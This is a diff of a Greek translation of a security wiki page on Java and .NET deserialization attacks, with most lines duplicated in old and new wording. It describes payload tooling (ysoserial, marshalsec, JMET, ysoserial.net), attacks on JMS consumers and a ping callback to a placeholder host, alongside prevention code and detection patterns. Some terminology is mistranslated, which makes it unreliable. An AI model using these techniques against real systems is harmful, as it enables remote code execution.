Κατά τη δημιουργία ενός φορτίου για **java.lang.Runtime.exec()** δεν μπορείτε να χρησιμοποιήσετε ειδικούς χαρακτήρες όπως ">" ή "|" για την ανακατεύθυνση της εξόδου μιας εκτέλεσης, "$()" για την εκτέλεση εντολών ή ακόμα και **περάσετε ορίσματα** σε μια εντολή χωρισμένα με **κενά** (μπορείτε να κάνετε `echo -n "hello world"` αλλά δεν μπορείτε να κάνετε `python2 -c 'print "Hello world"'`). Για να κωδικοποιήσετε σωστά το φορτίο μπορείτε να [χρησιμοποιήσετε αυτή την ιστοσελίδα](http://www.jackson-t.ca/runtime-exec-payloads.html).
Όταν δημιουργείτε ένα payload για **java.lang.Runtime.exec()** δεν **μπορείτε να χρησιμοποιήσετε ειδικούς χαρακτήρες** όπως ">" ή "|" για να ανακατευθύνετε την έξοδο μιας εκτέλεσης, "$()" για να εκτελέσετε εντολές ή ακόμη και **να περάσετε παραμέτρους** σε μια εντολή χωρισμένες με **κενά** (μπορείτε να κάνετε `echo -n "hello world"` αλλά δεν μπορείτε να κάνετε `python2 -c 'print "Hello world"'`). Για να κωδικοποιήσετε σωστά το payload μπορείτε να [χρησιμοποιήσετε αυτή τη σελίδα](http://www.jackson-t.ca/runtime-exec-payloads.html).
Αισθανθείτε ελεύθεροι να χρησιμοποιήσετε το παρακάτω σενάριο για να δημιουργήσετε **όλα τα δυνατά φορτία εκτέλεσης κώδικα** για Windows και Linux και στη συνέχεια να τα δοκιμάσετε στην ευάλωτη ιστοσελίδα:
Μη διστάσετε να χρησιμοποιήσετε το επόμενο σενάριο για να δημιουργήσετε **όλα τα πιθανά payloads εκτέλεσης κώδικα** για Windows και Linux και στη συνέχεια να τα δοκιμάσετε στη ευάλωτη ιστοσελίδα:
```python
import os
import base64
@ -448,12 +449,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### serialkillerbypassgadgets
Μπορείτε να **χρησιμοποιήσετε** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **μαζί με το ysoserial για να δημιουργήσετε περισσότερες εκμεταλλεύσεις**. Περισσότερες πληροφορίες σχετικά με αυτό το εργαλείο στις **διαφάνειες της ομιλίας** όπου παρουσιάστηκε το εργαλείο: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
Μπορείτε να **χρησιμοποιήσετε** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **μαζί με το ysoserial για να δημιουργήσετε περισσότερα exploits**. Περισσότερες πληροφορίες σχετικά με αυτό το εργαλείο στις **διαφάνειες της ομιλίας** όπου παρουσιάστηκε το εργαλείο: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec) μπορεί να χρησιμοποιηθεί για τη δημιουργία φορτίων για εκμετάλλευση διαφορετικών βιβλιοθηκών σειριοποίησης **Json** και **Yml** στη Java.\
Για να μεταγλωττίσω το έργο, χρειάστηκε να **προσθέσω** αυτές τις **εξαρτήσεις** στο `pom.xml`:
[**marshalsec** ](https://github.com/mbechler/marshalsec)μπορεί να χρησιμοποιηθεί για να δημιουργήσει payloads για να εκμεταλλευτεί διάφορες βιβλιοθήκες **Json** και **Yml** serialization στην Java.\
Για να κάνω compile το έργο, χρειάστηκε να **προσθέσω** αυτές τις **εξαρτήσεις** στο `pom.xml`:
```markup
<dependency>
<groupId>javax.activation</groupId>
@ -468,57 +469,57 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
<type>pom</type>
</dependency>
```
**Εγκαταστήστε το maven**, και **μεταγλωττίστε** το έργο:
**Εγκαταστήστε το maven**, και **συγκεντρώστε** το έργο:
```bash
sudo apt-get install maven
mvn clean package -DskipTests
```
#### FastJSON
Διαβάστε περισσότερα σχετικά με αυτήν τη βιβλιοθήκη Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
Διαβάστε περισσότερα για αυτή τη βιβλιοθήκη Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Εργαστήρια
### Labs
* Αν θέλετε να δοκιμάσετε μερικά ysoserial payloads μπορείτε να **τρέξετε αυτό το webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
* Αν θέλετε να δοκιμάσετε μερικά ysoserial payloads μπορείτε να **τρέξετε αυτή την εφαρμογή ιστού**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Γιατί
### Why
Η Java χρησιμοποιεί πολύ τη σειριοποίηση για διάφορους σκοπούς όπως:
Η Java χρησιμοποιεί πολύ serialization για διάφορους σκοπούς όπως:
* **HTTP αιτήσεις**: Η σειριοποίηση χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κλπ.
* **RMI (Remote Method Invocation)**: Το πρωτόκολλο Java RMI, το οποίο βασίζεται αποκλειστικά στη σειριοποίηση, είναι θεμέλιος λίθος για την απομακρυσμένη επικοινωνία σε εφαρμογές Java.
* **RMI πάνω σε HTTP**: Αυτή η μέθοδος χρησιμοποιείται συχνά από εφαρμογές ιστού Java-based thick client, χρησιμοποιώντας τη σειριοποίηση για όλες τις ανταλλαγές αντικειμένων.
* **JMX (Java Management Extensions)**: Το JMX χρησιμοποιεί τη σειριοποίηση για τη μετάδοση αντικειμένων μέσω του δικτύου.
* **Προσαρμοσμένα πρωτόκολλα**: Στην Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση ωμών αντικειμένων Java, η οποία θα επιδειχθεί σε μελλοντικά παραδείγματα εκμετάλλευσης.
* **HTTP requests**: Η serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κ.λπ.
* **RMI (Remote Method Invocation)**: Το πρωτόκολλο Java RMI, το οποίο βασίζεται εξ ολοκλήρου στη serialization, είναι θεμέλιο για την απομακρυσμένη επικοινωνία σε εφαρμογές Java.
* **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java που βασίζονται σε thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων.
* **JMX (Java Management Extensions)**: Το JMX χρησιμοποιεί serialization για τη μετάδοση αντικειμένων μέσω του δικτύου.
* **Custom Protocols**: Στην Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση ακατέργαστων αντικειμένων Java, κάτι που θα αποδειχθεί σε επερχόμενα παραδείγματα εκμετάλλευσης.
### Πρόληψη
### Prevention
#### Αντικείμενα transient
#### Transient objects
Μια κλάση που υλοποιεί το `Serializable` μπορεί να υλοποιήσει ως `transient` οποιοδήποτε αντικείμενο μέσα στην κλάση που δεν πρέπει να είναι σειριοποιήσιμο. Για παράδειγμα:
Μια κλάση που υλοποιεί το `Serializable` μπορεί να υλοποιήσει ως `transient` οποιοδήποτε αντικείμενο μέσα στην κλάση που δεν θα πρέπει να είναι serializable. Για παράδειγμα:
```java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
```
#### Αποφύγετε την Σειριοποίηση ενός τάξης που χρειάζεται να υλοποιήσει το Serializable
#### Αποφύγετε την σειριοποίηση μιας κλάσης που πρέπει να υλοποιεί το Serializable
Σε περιπτώσεις όπου συγκεκριμένα **αντικείμενα πρέπει να υλοποιήσουν τη διεπαφή `Serializable`** λόγω της ιεραρχίας των κλάσεων, υπάρχει κίνδυνος μη αποδεκτής αποσειριοποίησης. Για να αποτρέψετε αυτό, βεβαιωθείτε ότι αυτά τα αντικείμενα δεν μπορούν να αποσειριοποιηθούν, ορίζοντας ένα `final` `readObject()` μέθοδο που πάντα προκαλεί μια εξαίρεση, όπως φαίνεται παρακάτω:
Σε σενάρια όπου ορισμένα **αντικείμενα πρέπει να υλοποιούν τη διεπαφή `Serializable`** λόγω ιεραρχίας κλάσεων, υπάρχει κίνδυνος ακούσιας αποσειριοποίησης. Για να το αποτρέψετε, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι μη αποσειριοποιήσιμα ορίζοντας μια `final` `readObject()` μέθοδο που ρίχνει πάντα μια εξαίρεση, όπως φαίνεται παρακάτω:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
```
#### **Βελτίωση της Ασφάλειας της Αποσυσκευοποίησης στην Java**
#### **Ενίσχυση της Ασφάλειας Αποσυναρμολόγησης στην Java**
Η προσαρμογή του `java.io.ObjectInputStream` είναι μια πρακτική προσέγγιση για την ασφάλεια των διαδικασιών αποσυσκευοποίησης. Αυτή η μέθοδος είναι κατάλληλη όταν:
**Η προσαρμογή του `java.io.ObjectInputStream`** είναι μια πρακτική προσέγγιση για την ασφάλιση των διαδικασιών αποσυναρμολόγησης. Αυτή η μέθοδος είναι κατάλληλη όταν:
* Ο κώδικας αποσυσκευοποίησης είναι υπό τον έλεγχό σας.
* Οι κλάσεις που αναμένονται για αποσυσκευοποίηση είναι γνωστές.
* Ο κώδικας αποσυναρμολόγησης είναι υπό τον έλεγχό σας.
* Οι κλάσεις που αναμένονται για αποσυναρμολόγηση είναι γνωστές.
Αντικαταστήστε τη μέθοδο **`resolveClass()`** για να περιορίσετε την αποσυσκευοποίηση μόνο σε επιτρεπόμενες κλάσεις. Αυτό εμποδίζει την αποσυσκευοποίηση οποιασδήποτε κλάσης εκτός από αυτές που έχουν εξαρχής επιτραπεί, όπως στο ακόλουθο παράδειγμα που περιορίζει την αποσυσκευοποίηση μόνο στην κλάση `Bicycle`:
Επαναφέρετε τη μέθοδο **`resolveClass()`** για να περιορίσετε την αποσυναρμολόγηση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσυναρμολόγηση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσυναρμολόγηση μόνο στην κλάση `Bicycle`:
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -539,17 +540,17 @@ return super.resolveClass(desc);
}
}
```
**Χρήση ενός Java Agent για Ενίσχυση της Ασφάλειας** προσφέρει μια εναλλακτική λύση όταν η τροποποίηση κώδικα δεν είναι δυνατή. Αυτή η μέθοδος εφαρμόζεται κυρίως για τη **μαύρη λίστα κακόβουλων κλάσεων**, χρησιμοποιώντας ένα παράμετρο του JVM:
**Χρησιμοποιώντας έναν Java Agent για Βελτίωση Ασφάλειας** προσφέρει μια εναλλακτική λύση όταν η τροποποίηση του κώδικα δεν είναι δυνατή. Αυτή η μέθοδος εφαρμόζεται κυρίως για **μαύρη λίστα επιβλαβών κλάσεων**, χρησιμοποιώντας μια παράμετρο JVM:
```
-javaagent:name-of-agent.jar
```
Παρέχει έναν τρόπο για την ασφαλή απεικονιοποίηση δυναμικά, ιδανικός για περιβάλλοντα όπου οι άμεσες αλλαγές κώδικα είναι ανέφικτες.
Παρέχει έναν τρόπο για να ασφαλίσετε τη διαδικασία αποσυμπίεσης δυναμικά, ιδανικό για περιβάλλοντα όπου οι άμεσες αλλαγές κώδικα είναι μη πρακτικές.
Ελέγξτε ένα παράδειγμα στο [rO0 από την Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
Δείτε ένα παράδειγμα στο [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Εφαρμογή Φίλτρων Απεικονιοποίησης**: Το Java 9 εισήγαγε φίλτρα απεικονιοποίησης μέσω της διεπαφής **`ObjectInputFilter`**, παρέχοντας ένα ισχυρό μηχανισμό για την καθορισμό κριτηρίων που πρέπει να πληρούν τα απεικονιοποιημένα αντικείμενα πριν γίνει η απεικονιοποίησή τους. Αυτά τα φίλτρα μπορούν να εφαρμοστούν παγκοσμίως ή ανά ροή, προσφέροντας μια λεπτομερή έλεγχο επάνω στη διαδικασία απεικονιοποίησης.
**Εφαρμογή Φίλτρων Σειριοποίησης**: Η Java 9 εισήγαγε φίλτρα σειριοποίησης μέσω της διεπαφής **`ObjectInputFilter`**, παρέχοντας έναν ισχυρό μηχανισμό για τον καθορισμό κριτηρίων που πρέπει να πληρούν τα σειριοποιημένα αντικείμενα πριν αποσυμπιεστούν. Αυτά τα φίλτρα μπορούν να εφαρμοστούν παγκοσμίως ή ανά ροή, προσφέροντας λεπτομερή έλεγχο στη διαδικασία αποσυμπίεσης.
Για να χρησιμοποιήσετε τα φίλτρα απεικονιοποίησης, μπορείτε να ορίσετε ένα παγκόσμιο φίλτρο που ισχύει για όλες τις λειτουργίες απεικονιοποίησης ή να το διαμορφώσετε δυναμικά για συγκεκριμένες ροές. Για παράδειγμα:
Για να χρησιμοποιήσετε φίλτρα σειριοποίησης, μπορείτε να ορίσετε ένα παγκόσμιο φίλτρο που εφαρμόζεται σε όλες τις λειτουργίες αποσυμπίεσης ή να το ρυθμίσετε δυναμικά για συγκεκριμένες ροές. Για παράδειγμα:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -561,41 +562,41 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**Εκμεταλλευόμενοι Εξωτερικές Βιβλιοθήκες για Ενισχυμένη Ασφάλεια**: Βιβλιοθήκες όπως **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένες δυνατότητες για τον έλεγχο και την παρακολούθηση της αποσειριοποίησης σε Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως λευκή ή μαύρη λίστα κλάσεων, ανάλυση αποσειριοποιημένων αντικειμένων πριν την αποσειριοποίηση, και υλοποίηση προσαρμοσμένων στρατηγικών αποσειριοποίησης.
**Αξιοποίηση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως οι **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυναρμολόγησης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυναρμολόγηση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης.
* Το **NotSoSerial** εμποδίζει τις διαδικασίες αποσειριοποίησης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.
* Το **jdeserialize** επιτρέπει την ανάλυση αποσειριοποιημένων αντικειμένων Java χωρίς να τα αποσειριοποιεί, βοηθώντας στην αναγνώριση πιθανά κακόβουλου περιεχομένου.
* Το **Kryo** είναι ένα εναλλακτικό πλαίσιο αποσειριοποίησης που τονίζει την ταχύτητα και την αποτελεσματικότητα, προσφέροντας ρυθμίσιμες στρατηγικές αποσειριοποίησης που μπορούν να ενισχύσουν την ασφάλεια.
* **NotSoSerial** παρεμβαίνει στις διαδικασίες αποσυναρμολόγησης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα.
* **jdeserialize** επιτρέπει την ανάλυση σειριοποιημένων αντικειμένων Java χωρίς να τα αποσυναρμολογεί, βοηθώντας στην αναγνώριση δυνητικά κακόβουλου περιεχομένου.
* **Kryo** είναι ένα εναλλακτικό πλαίσιο σειριοποίησης που δίνει έμφαση στην ταχύτητα και την αποδοτικότητα, προσφέροντας ρυθμιζόμενες στρατηγικές σειριοποίησης που μπορούν να ενισχύσουν την ασφάλεια.
### Αναφορές
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
* Ομιλία για αποσειριοποίηση και ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
* Ομιλία για την αποσυναρμολόγηση και το ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
* Ομιλία για το gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) και διαφάνειες: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
* Άρθρο για το Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
* Έγγραφο Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
* Άρθρο για την αποσειριοποίηση σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* CVEs αποσειριοποιήσεων: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
* Έγγραφο για την αποσυναρμολόγηση JSON Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* CVEs αποσυναρμολόγησης: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## Ενσωμάτωση JNDI & log4Shell
## JNDI Injection & log4Shell
Βρείτε τι είναι η **Ενσωμάτωση JNDI, πώς μπορεί να καταχραστεί μέσω RMI, CORBA & LDAP και πώς να εκμεταλλευτείτε το log4shell** (και παράδειγμα αυτής της ευπάθειας) στην ακόλουθη σελίδα:
Βρείτε τι είναι **JNDI Injection, πώς να το εκμεταλλευτείτε μέσω RMI, CORBA & LDAP και πώς να εκμεταλλευτείτε το log4shell** (και ένα παράδειγμα αυτής της ευπάθειας) στην παρακάτω σελίδα:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
{% endcontent-ref %}
## JMS - Υπηρεσία Μηνυμάτων Java
## JMS - Java Message Service
> Η **Υπηρεσία Μηνυμάτων Java** (**JMS**) API είναι μια Java API μεσιτεύοντα μηνύματα για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων πελατών. Αποτελεί υλοποίηση για την αντιμετώπιση του προβλήματος παραγωγού-καταναλωτή. Το JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE), και καθορίστηκε από μια προδιαγραφή που αναπτύχθηκε στην Sun Microsystems, αλλά που έχει καθοδηγηθεί από τη διαδικασία της Java Community. Είναι ένα πρότυπο μηνυμάτων που επιτρέπει στα στοιχεία εφαρμογής βασισμένα σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών στοιχείων μιας κατανεμημένης εφαρμογής να είναι χαλαρή, αξιόπιστη και ασύγχρονη. (Από τη [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
> Η **Java Message Service** (**JMS**) API είναι μια Java API προσανατολισμένη σε μηνύματα για την αποστολή μηνυμάτων μεταξύ δύο ή περισσότερων πελατών. Είναι μια υλοποίηση για την αντιμετώπιση του προβλήματος παραγωγού-καταναλωτή. Η JMS είναι μέρος της Java Platform, Enterprise Edition (Java EE) και ορίστηκε από μια προδιαγραφή που αναπτύχθηκε από την Sun Microsystems, αλλά από τότε καθοδηγείται από τη διαδικασία της Java Community. Είναι ένα πρότυπο μηνυμάτων που επιτρέπει στα συστατικά εφαρμογών που βασίζονται σε Java EE να δημιουργούν, να στέλνουν, να λαμβάνουν και να διαβάζουν μηνύματα. Επιτρέπει την επικοινωνία μεταξύ διαφορετικών συστατικών μιας κατανεμημένης εφαρμογής να είναι χαλαρά συνδεδεμένη, αξιόπιστη και ασύγχρονη. (Από [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
### Προϊόντα
Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το μεσιτευτικό επίπεδο για την αποστολή μηνυμάτων:
Υπάρχουν αρκετά προϊόντα που χρησιμοποιούν αυτό το middleware για την αποστολή μηνυμάτων:
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>)
@ -603,12 +604,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
### Εκμετάλλευση
Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν το JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **επαρκή δικαιώματα** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) μπορείτε να στείλετε **κακόβουλα αντικείμενα που έχουν αποσειριοποιηθεί και θα αποσειριοποιηθούν από τον καταναλωτή/συνδρομητή**.\
Αυτό σημαίνει ότι σε αυτήν την εκμετάλλευση όλοι οι **πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν**.
Έτσι, βασικά υπάρχουν **πολλές υπηρεσίες που χρησιμοποιούν JMS με επικίνδυνο τρόπο**. Επομένως, αν έχετε **αρκετά προνόμια** για να στείλετε μηνύματα σε αυτές τις υπηρεσίες (συνήθως θα χρειαστείτε έγκυρα διαπιστευτήρια) θα μπορούσατε να στείλετε **κακόβουλα αντικείμενα που θα σειριοποιηθούν και θα αποσυναρμολογηθούν από τον καταναλωτή/συνδρομητή**.\
Αυτό σημαίνει ότι σε αυτή την εκμετάλλευση όλοι οι **πελάτες που θα χρησιμοποιήσουν αυτό το μήνυμα θα μολυνθούν**.
Θα πρέπει να θυμάστε ότι ακόμα κι αν μια υπηρεσία είναι ευάλωτη (επειδή αποσειριοποιεί ανασφαλή είσοδο χρήστη) πρέπει ακόμα να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.
Πρέπει να θυμάστε ότι ακόμη και αν μια υπηρεσία είναι ευάλωτη (επειδή αποσυναρμολογεί ανασφαλώς την είσοδο του χρήστη) πρέπει ακόμα να βρείτε έγκυρα gadgets για να εκμεταλλευτείτε την ευπάθεια.
Το εργαλείο [JMET](https://github.com/matthiaskaiser/jmet) δημιουργήθηκε για να **συνδέεται και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας αρκετά κακόβουλα αντικείμενα που έχουν αποσειριοποιηθεί χρησιμοποιώντας γνωστά gadgets**. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία εξακολουθεί να είναι ευάλωτη και αν κάποιο από τα χρησιμοποιούμενα gadgets βρίσκεται μέσα στην ευάλωτη εφαρμογή.
Το εργαλείο [JMET](https://github.com/matthiaskaiser/jmet) δημιουργήθηκε για να **συνδεθεί και να επιτεθεί σε αυτές τις υπηρεσίες στέλνοντας διάφορα κακόβουλα αντικείμενα που σειριοποιούνται χρησιμοποιώντας γνωστά gadgets**. Αυτές οι εκμεταλλεύσεις θα λειτουργήσουν αν η υπηρεσία είναι ακόμα ευάλωτη και αν κάποιο από τα χρησιμοποιούμενα gadgets είναι μέσα στην ευάλωτη εφαρμογή.
### Αναφορές
@ -617,40 +618,43 @@ ObjectInputFilter.Config.setSerialFilter(filter);
## .Net
Στο πλαίσιο του .Net, οι εκμεταλλεύσεις αποσειριοποίησης λειτουργούν με τρόπο παρόμοιο με αυτόν που βρίσκεται στη Java, όπου τα gadgets εκμεταλλεύονται για να εκτελέσουν συγκεκριμένο κώδικα κατά την αποσειριοποίηση ενός αντικειμένου.
### Αναγνώριση
Στο πλαίσιο του .Net, οι εκμεταλλεύσεις αποσυναρμολόγησης λειτουργούν με τρόπο παρόμοιο με εκείνες που βρίσκονται στην Java, όπου τα gadgets εκμεταλλεύονται για να εκτελέσουν συγκεκριμένο κώδικα κατά την αποσυναρμολόγηση ενός αντικειμένου.
### Αποτύπωμα
#### WhiteBox
Ο πηγαίος κώδικας πρέπει να ελεγχθεί για την ύπαρξη:
Ο πηγαίος κώδικας θα πρέπει να ελεγχθεί για περιπτώσεις των:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
Η προσοχή πρέπει να επικεντρωθεί σε σειριοποιητές που επιτρέπουν τον προσδιορισμό του τύπου από μια μεταβλητή υπό έλεγχο του χρήστη.
Η προσοχή θα πρέπει να εστιάζεται σε σειριοποιητές που επιτρέπουν τον προσδιορισμό του τύπου από μια μεταβλητή υπό τον έλεγχο του χρήστη.
#### BlackBox
Η αναζήτηση πρέπει να στοχεύει στο κωδικοποιημένο με Base64 συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο πρότυπο που μπορεί να υποστεί αποσειριοποίηση στον εξυπηρετητή, παρέχοντας έλεγχο επί του τύπου που θα αποσειριοποιηθεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, δομές **JSON** ή **XML** που περιλαμβάνουν `TypeObject` ή `$type`.
Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυναρμολόγηση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυναρμολογηθεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, **JSON** ή **XML** δομές που περιλαμβάνουν `TypeObject` ή `$type`.
### ysoserial.net
Σε αυτήν την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) για να **δημιουργήσετε τις εκμεταλλεύσεις αποσειριοποίησης**. Αφού κατεβάσετε το αποθετήριο git, πρέπει να **μεταγλωτίσετε το εργαλείο** χρησιμοποιώντας για παράδειγμα το Visual Studio.
Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) προκειμένου να **δημιουργήσετε τις εκμεταλλεύσεις αποσυναρμολόγησης**. Αφού κατεβάσετε το git repository θα πρέπει να **συγκεντρώσετε το εργαλείο** χρησιμοποιώντας το Visual Studio για παράδειγμα.
Αν θέλετε να μάθετε **πώς δημιουργεί τις εκμεταλλεύσεις του το ysoserial.net** μπορείτε να [**ελέγξετε αυτήν τη σελίδα όπου εξηγείται το gadget ObjectDataProvider + ExpandedWrapper + μορφοποιητής Json.Net**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Αν θέλετε να μάθετε για **πώς δημιουργεί το ysoserial.net την εκμετάλλευσή του** μπορείτε να [**ελέγξετε αυτή τη σελίδα όπου εξηγείται το gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Οι κύριες επιλογές του **ysoserial.net** είναι: **`--gadget`**, **`--formatter`**, **`--output`** και **`--plugin`.**
